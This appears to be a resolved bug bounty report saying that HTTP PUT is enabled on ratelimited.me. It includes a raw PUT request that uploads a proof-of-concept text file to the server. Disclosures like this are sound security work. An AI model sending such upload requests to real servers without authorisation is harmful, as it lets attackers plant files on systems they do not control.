Loading HuntDB...

HTTP PUT method enabled

Critical
R
RATELIMITED
Submitted None
Reported by emitrani

Vulnerability Details

Technical details and impact analysis

Improper Access Control - Generic
Hi security team, **Summary:** It is possible to upload files to the server using the PUT method ## Steps To Reproduce: 1. I used the following request: ``` PUT /emitrani.txt HTTP/1.1 Host: ratelimited.me Content-Length: 10 Connection: close emitrani POC ``` Now a file exists at https://ratelimited.me/emitrani.txt with contents of the put request. ## Impact Anyone can upload files to the server. Regards, Eray

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Improper Access Control - Generic